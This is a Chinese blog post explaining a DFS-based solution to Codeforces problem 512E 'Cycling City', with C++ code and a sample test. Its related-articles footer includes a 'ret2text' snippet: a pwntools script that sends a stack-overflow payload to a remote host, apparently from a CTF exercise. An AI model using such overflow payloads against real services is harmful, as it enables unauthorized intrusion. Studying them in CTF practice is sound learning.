CF512E. Cycling City

news/2025/10/24 22:17:25/文章来源:https://www.cnblogs.com/kkxacj/p/19164334

题目传送门

十分有趣的题。

思路

三条路径,本质上其实就是 \(x,y\) 同时属于两个有交集(至少交一条边)的简单环,这个肯定没问题。

套路的跑一遍 dfs,然后就有了返祖边树边和横叉边,然后朴素的分讨然后用个数据结构之类的维护一下就可以 \(n\log\) 解决了。

判有没有解倒是可以树上差分做,但这道题要求方案数,我们用一个暴力的思想,考虑每次对于一条非树边,我们暴力去覆盖树边,如果树边已经被覆盖,那么一定有解,取出这两条非树边然后去求答案即可。

具体求答案我简单叙述一下,具体还是自行画图看,首先把交集的点拿出来,然后按深度排序从小到大输出就完成了一部分。

然后对于 \(x,y\) 这条边,如果是横叉边,一定有一个点是结束点,然后输出就是形如 \(S,x,E\),其中 \(S,E\) 分别是开始点和结束点。否则是返祖边,那么假设 \(dep_x < dep_y\),那么就是 \(S,fa_S...,x,y,fa_y,...,E\),构造即可。

code

#include<bits/stdc++.h>
using namespace std;
#define int long long
namespace IO
{template<typename T>void read(T &_x){_x=0;int _f=1;char ch=getchar();while(!isdigit(ch)) _f=(ch=='-'?-1:_f),ch=getchar();while(isdigit(ch)) _x=_x*10+(ch^48),ch=getchar();_x*=_f;}template<typename T,typename... Args>void read(T &_x,Args&...others){Read(_x);Read(others...);}const int BUF=20000000;char buf[BUF],top,stk[32];int plen;#define pc(x) buf[plen++]=x#define flush(); fwrite(buf,1,plen,stdout),plen=0;template<typename T>inline void print(T x){if(!x){pc(48);return;}if(x<0) x=-x,pc('-');for(;x;x/=10) stk[++top]=48+x%10;while(top) pc(stk[top--]);}
}
using namespace IO;
const int N = 2e5+10;
int n,m,x,y,head[N],cnt,v[N],dep[N],son[N],op,fa[N],ly,ny,v1[N],v2[N],v3[N],len,len1,T[N],T1[N];
int X,Y,X1,Y1; 
struct w
{int to,nxt;
}b[N<<1];
inline void add(int x,int y)
{b[++cnt].nxt = head[x];b[cnt].to = y;head[x] = cnt;
}
void dfs(int x,int y)
{if(op == 1) return; v[x] = 1,dep[x] = dep[y]+1; fa[x] = y;for(int i = head[x];i;i = b[i].nxt){if(op == 1) return; if(!v[b[i].to]) dfs(b[i].to,x);else if(b[i].to != y)//不是树边{if(dep[b[i].to] == dep[x])//横叉边{ly = x; ny = b[i].to;while(ly != ny){//边转点 if(v1[ly]){X = x,Y = b[i].to;X1 = v1[ly],Y1 = v2[ly]; op = 1;break;}if(v1[ny]){X = x,Y = b[i].to;X1 = v1[ny],Y1 = v2[ny]; op = 1;break;}v1[ly] = x,v2[ly] = b[i].to;ly = fa[ly];v1[ny] = x,v2[ny] = b[i].to;ny = fa[ny];}}else if(dep[b[i].to] < dep[x])//返祖边{ly = x;while(ly != b[i].to){//边转点 if(v1[ly]){X = x,Y = b[i].to;X1 = v1[ly],Y1 = v2[ly]; op = 1;break;}v1[ly] = x,v2[ly] = b[i].to;ly = fa[ly];}}} }
}
inline void C(int x,int y)//染色,注意这里是染点 
{if(dep[x] == dep[y]){ly = x,ny = y;while(ly != ny) v1[ny] = x,v2[ny] = y,v3[ly]++,v3[ny]++,ly++,ny++; v3[ly]++;}else{ly = x;while(ly != y) v3[ly]++,ly = fa[ly];v3[ly]++;}
} 
inline bool cmp(int x,int y){ return dep[x] < dep[y]; }
inline void solve(int X,int Y)
{len1 = 0; ly = T[1]; T1[++len1] = ly;		if(dep[X] == dep[Y] && dep[Y] == ly) swap(X,Y);while(dep[Y] < dep[ly]) ly = fa[ly],T1[++len1] = ly;//S一直到Y去 if(dep[X] == dep[Y]) T1[++len1] = X,T1[++len1] = Y;//画图可以看出,这种一定是S->X->E这么连,dep相等一定有一个是Eelse {T1[++len1] = X;while(X != T[len]) X = fa[X],T1[++len1] = X;//一直走到E为止 }print(len1),pc(' '); for(int i = 1;i <= len1;i++) print(T1[i]),pc(' '); pc('\n');
}
signed main()
{//freopen(".in","r",stdin);//freopen(".out","w",stdout);read(n),read(m);for(int i = 1;i <= m;i++) read(x),read(y),add(x,y),add(y,x);//图不一定联通for(int i = 1;i <= n;i++)if(!v[i]){dfs(i,0);if(op){pc('Y'),pc('E'),pc('S'),pc('\n');C(X,Y),C(X1,Y1);// cout<<X<<" * "<<Y<<" "<<X1<<" "<<Y1<<" "<<dep[X]<<" "<<dep[Y]<<" "<<dep[X1]<<" "<<dep[Y1]<<'\n';for(int i = 1;i <= n;i++)if(v3[i] == 2) T[++len] = i;sort(T+1,T+1+len,cmp);print(len),pc(' '); for(int i = 1;i <= len;i++) print(T[i]),pc(' '); pc('\n');solve(X,Y); solve(X1,Y1);flush();return 0;}}pc('N'),pc('O'),pc('\n');flush(); return 0;
}
/*
10 20
5 1
10 5
2 10
6 4
10 6
9 6
1 7
3 10
3 2
6 2
5 4
7 10
3 9
9 1
5 3
7 9
8 4
4 7
6 3
10 8
注意到有三条路径
本质上就是有两个简单环交于同一条线段(交多部分也行)
考虑先跑dfs,这样只有返祖边,横叉边和树边
然后大致有四种情况
嗯,分别去看一下就好了,具体见代码
实现,emm目前我只会单log的,先写了来吧
我去我知道了,我们只需要看合不合法,然后构造任意一组方案
我们直接对于每条非树边暴力覆盖树边
然后有一条覆盖次数大于一那么一定有解了,输出
具体实现,请见代码 
*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/945713.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ABP - 事件总线(Event Bus)[IEventBus、LocalEventBus、IntegrationEvent]

(1)事件总线(Event Bus) 核心辅助类:IEventBus:发布/订阅事件。 LocalEventBus:本地事件总线(进程内)。 IntegrationEvent:跨服务集成事件。事件总线是一种“发布-订阅”模式的通信机制,用于解耦系统中的各…

【ArcMap】基本操作1:查看属性表Table、测量路线长度、打断点

1.查看 a.查看线段信息b.查看属性表Table c.查看坐标点 2.测量路线长度-简单 3.打断点 4.画线

CSP-S模拟37

T1:回文(string) 思路: 由于本题的数据范围较小,所以可能有多种 \(dp\) 状态,这里只呈现其中可能较典的两种外加一种暴搜最优解。 DP1: 我们设 \(f_{i,j,x,y}\) 表示使用 \(a\) 串的 \(i\) ~ \(j\) 和 \(b\) 串…

Google Skills免费开放啦

Google Skills免费开放啦家人们,AI圈的大事来啦!Google搞了个大动作,直接把内部的AI学习资源打包成“Google Skills”平台,向全球开放!这波操作直接把AI学习的门槛拉到超低,普通人也能轻松上车!免费用户直接用G…

ABP - 缓存(Caching)[IDistributedCache、ICacheManager、ICacheKeyNormalizer、[Cache]、[CacheInvalidate]]

(一)缓存(Caching) 核心辅助类:IDistributedCache:分布式缓存(基于Redis等)。 ICacheManager:缓存管理器(支持多级缓存)。 [Cache]:方法缓存特性。 ICacheKeyNormalizer:缓存键标准化器,自动添加租户前缀…

好想成为人类啊——2025 . 10 . 24

好想成为人类啊。 今天应该是比较著名的程序员节,貌似大家都在庆祝。但我其实没啥感觉,因为我的理想并不是成为一个程序员。 那我的理想是什么呢,也好像并没有什么理想,可能跟艺术方面沾点儿边吧,当然,这怎么看都…

10 24(+第14场补题)

14.3维护 \(cur\), \(ans\) , \(dif = cur - ans\) 。 每次执行 \(cur = cur + a_i, \quad dif = dif + a_i\)。如果 \(cur < 0\),则 \(dif -= cur, \quad cur = 0\)。 如果 \(dif > 0\),则 \(dif = 0\)。考虑…

详细介绍:C++ 位运算 高频面试考点 力扣 268. 丢失的数字 题解 每日一题

详细介绍:C++ 位运算 高频面试考点 力扣 268. 丢失的数字 题解 每日一题pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

详细介绍:第十六届蓝桥杯软件赛C组省赛C++题解(京津冀)

详细介绍:第十六届蓝桥杯软件赛C组省赛C++题解(京津冀)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consola…

《打造自己的 DeepSeek》第 1 期:为什么要打造自己的 DeepSeek?

近些年 AI 大火,不过在国内真正火起来还是源于今年春节期间的 DeepSeek。 个人认为有两方面原因:一方面是 DeepSeek 使用方便。由于众所周知的原因,国内对国外网站的访问是有诸多限制的,其中就包括各大 AI 模型的官…

ret2text

from pwn import * io = remote("39.106.48.123", 29826) payload = b"A"*264 + p64(0x401202) io.sendline(payload) io.interactive() 264即258+8,258是rbp的位置,ida里一般是16位,0x401202为…

ABP - 异常处理(Exception Handling)[AbpExceptionFilter、UserFriendlyException、IExceptionSubscriber]

一、异常处理(Exception Handling) 常用核心辅助类:AbpExceptionFilter:自动捕获并处理异常。 UserFriendlyException:用户友好异常(直接返回给前端)。 IExceptionSubscriber:自定义异常订阅。1、核心类全解析…

2025年沸腾干燥机厂家权威推荐榜单:专业直销与高效节能技术深度解析,提供优质沸腾干燥设备及定制方案

2025年沸腾干燥机厂家权威推荐榜单:专业直销与高效节能技术深度解析,提供优质沸腾干燥设备及定制方案 沸腾干燥技术作为现代工业干燥领域的重要工艺,凭借其高效的传热传质效率和均匀的干燥效果,在制药、化工、食品…

CF Round 1046(#2135) 总结

CF Round 1046(#2135) 总结 A 可以 DP,用 vector 存下这个数出现的位置。 B 考虑移动到无限远处,如果移到左下角,容易发现离的最近的点就是离 \((-10^9,-10^9)\) 最近的点。这样就能确定一条直线(确定 \(x+y\))。…

重组蛋白表达的几种类型介绍

一、引言 重组蛋白表达(Recombinant Protein Expression) 是分子生物学与蛋白质工程中的核心技术。通过将目标基因导入特定宿主系统,可以在细胞内合成外源蛋白。不同的表达类型反映了蛋白在细胞中的定位方式、折叠状…

Luogu P5479 [BJOI2015] 隐身术 题解 [ 紫 ] [ 多维 DP ] [ 交换维度 ] [ 后缀数组 ] [ 哈希 ]

隐身术:挺巧妙的一道题。 首先考虑一个暴力:将“子串”的条件转化为对每一个后缀的前缀考虑,枚举每一个后缀。然后对每一个后缀做一个编辑距离的 DP,统计答案即可。 具体地,编辑距离的 DP 状态定义为:\(dp_{i, j…

2025年10月23日

A. 萌萌甜酱 洛谷原题:https://www.luogu.com.cn/problem/P3621题目 你准备给弟弟 Ike 买一件礼物,但是,Ike 挑选礼物的方式很特别:他只喜欢那些能被他排成有序形状的东西。 你准备给 Ike 买一个风铃。风铃是一种多…

大象《Thinking in Projects》读书笔记2

大象《Thinking in Projects》第二部分聚焦项目执行阶段的核心逻辑与实践方法,与第一部分强调的项目思维搭建形成紧密衔接,为大三学生从理论学习转向实践落地提供了关键指引。​ 这部分内容首先深入剖析了项目进度管…

06_DNS解析:从域名到IP地址

本文将通过C语言,手写实现一个基于UDP编程的DNS域名解析。一.DNS是什么? DNS(Domain Name System)的作用将我们容易记忆的域名转换为计算机可以处理的IP地址,DNS 使用 TCP 和 UDP 端口 53。 常用的nslookup命令,可…

ABP - 接口授权 [Authorize、AllowAnonymous、IPermissionChecker]

接口授权(Authorization) 核心辅助类:[Authorize]:标记需要授权的接口。 [AllowAnonymous]:允许匿名访问。 IPermissionChecker:手动检查权限。接口授权(Authorization)核心类示例与讲解 接口授权是在“身份认…